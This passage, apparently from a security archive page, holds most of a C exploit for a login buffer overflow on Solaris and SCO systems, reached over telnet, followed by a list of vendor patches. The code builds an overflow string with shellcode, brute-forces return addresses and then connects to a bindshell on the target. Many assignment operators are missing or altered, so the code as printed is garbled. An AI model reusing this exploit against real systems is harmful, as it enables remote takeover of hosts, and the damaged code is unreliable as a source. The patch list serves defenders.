for(i=0; i < 256; i++) {
if( i < 63 || i > 190)
blah[i] 0x41;
else {
blah[i++] 0x20;
blah[i] 0x41;
}
}
//free addr 1 send in addr of mem
memcpy(blah+252, &free_addr, 4);
memcpy(blah+204, &strncpy_addr, 4);
blah[256] 0x00;
// add shellcode to end of buf
// pad with nops.. more is better... but not too many..
for(i=511-sizeof(shellcode)-2-4*NOPS; i <
511-sizeof(shellcode); i+=4)
memcpy(&buf[i], nop, sizeof(nop)-1);
memcpy(&buf[511-sizeof(shellcode)-2], shellcode,
sizeof(shellcode));
// convert nulls to space..
for(i=0,j=0;i<511;i++) {
if(buf[i]= 0x00) {
buf[i] 0x20; j++; }
}
buf[511] 0x00;
sprintf(buffer,\"%s%s\\n\", &blah,&buf);
return;
}
int main(int argc, char **argv) {
int fd,fd2, c, type, port=23,local=0,bf=0, remp=2001;
char out[1024];
char in[24];
char ret[] \"\\x0a\";
char *host;
unsigned char bshell 0xd5;
char cc;
unsigned long reta, retl;
FILE *login;
retl 0x20026fc8;
reta 0xffbef864;
if(argc < 2)
usage(argv);
while((c getopt(argc, argv, \"r:l:p:et:b\")) != EOF){
switch(c){
case \'r\':
reta strtoul(optarg, NULL, 0);
break;
case \'l\':
retl strtoul(optarg, NULL, 0);
break;
case \'p\':
port atoi(optarg);
break;
case \'e\':
local=1;
break;
case \'t\':
type atoi(optarg);
if(type < 0 || type > 2){
fprintf(stderr, \"invalid target\\n\");
usage(argv);
exit(0);
}
if(strstr(targets[type].name, \"local\"))
local 1;
retl targets[type].retl;
reta targets[type].reta;
break;
case \'b\':
bf=1;
break;
}
}
if(!local) {
if(!argv[optind] || !*argv[optind])
usage(argv);
host argv[optind];
}
if(local) {
fprintf(stderr, \"Local execution mode.. make sure to run
%s [args] | /bin/login\\n\", argv[0]);
fprintf(stderr, \"first wait for Password: prompt.. hit
enter then,\");
fprintf(stderr, \"wait for Login incorrect, and attempt
to connect to localhost on %d\\n\", remp);
}
if(bf) {
reta 0xffbef800;
}
for(;reta < 0xffbef8ff; reta+=4) {
memset(out, 0, sizeof(out));
setup_exploit(out, retl, reta, bf);
if(local) {
if(bf) {
fprintf(stderr, \"not supported do it manually you lazy fuck\\n\");
exit(0);
}
printf(\"%s\", out);
}
else {
char *ptr=in;
fd do_telnet_negotation (host, port);
memset(in, 0, sizeof(in));
while (!strstr(ptr, \":\")) {
if(ptr=&in[0]) {
memset(in, 0, sizeof(in));
if(read(fd, in, sizeof(in)-2) < 0)
die(\"Failed read waiting for login: \");
}
for(;ptr < &in[sizeof(in)-1] && ptr[0] != 0; ptr++);
if( ptr=&in[sizeof(in)-2] || (ptr[0]=0 && ptr[1]=0))
ptr &in[0];
else
ptr++;
}
memset(in, 0, sizeof(in));
fprintf(stdout, \"Read login, sending bad user string now\\n\");
write_with_iac(fd, out, strlen(out));
fprintf(stdout, \"waiting for password... \");
while (!strstr(ptr, \":\")) {
if(ptr=&in[0]) {
memset(in, 0, sizeof(in));
if(read(fd, in, sizeof(in)-2) <0)
die(\"Failed read waitingfor password: \");
}
for(;ptr < &in[sizeof(in)-1] && ptr[0]!= 0; ptr++);
if( ptr=&in[sizeof(in)-2] ||(ptr[0]=0 && ptr[1]=0)) ptr &in[0];
else ptr++;
}
memset(in, 0, sizeof(in));
fprintf(stdout, \"read Password: \\nsending enternow\\n\");
if(write(fd, ret, strlen(ret)) < 0)
die(\"Write failed on password\");
fprintf(stdout, \"Sent overflow string....waiting for Login incorrect\\n\");
while (!strstr(ptr, \"correct\")) {
if(ptr=&in[0]) {
memset(in, 0, sizeof(in));
if(read(fd, in, sizeof(in)-2) <0)
die(\"Failed read waiting for Login Incorrect \");
}
for(;ptr < &in[sizeof(in)-1] && ptr[0]!=0; ptr++);
if( ptr=&in[sizeof(in)-2] ||(ptr[0]=0 && ptr[1]=0))
ptr &in[0];
else
ptr++;
}
fprintf(stdout, \"Got it!\\n\");
fprintf(stdout, \"lets connect to our bindshell..\\n\");
close(connect_shell(host, remp));
close(fd);
}
if(!bf) return;
}
fprintf(stderr, \"connection closed.\\n\");
return;
}
SOLUTION
All vendors has released patches.
Sun:
111085-02 SunOS 5.8: /usr/bin/login patch
111086-02 SunOS 5.8_x86: /usr/bin/login patch
112300-01 SunOS 5.7:: usr/bin/login Patch
112301-01 SunOS 5.7_x86:: usr/bin/login Patch
105665-04 SunOS 5.6: /usr/bin/login patch
105666-04 SunOS 5.6_x86: /usr/bin/login patch
106160-02 SunOS 5.5.1: /usr/bin/login patch
106161-02 SunOS 5.5.1_x86: /usr/bin/login patch
Caldera :
ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.40/
erg711877.506.tar.Z is the patch for SCO OpenServer Release
5.0.6, with or without Release Supplement 5.0.6a (rs506a).
Note that other security issues are corrected by rs506a; we
strongly recommend installing it on all 5.0.6 systems.
erg711877.505.tar.Z is the patch for SCO OpenServer Release
5.0.5 and earlier. Although it should work with all releases
5.0.0 through 5.0.5, it has not yet been tested on every
release.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH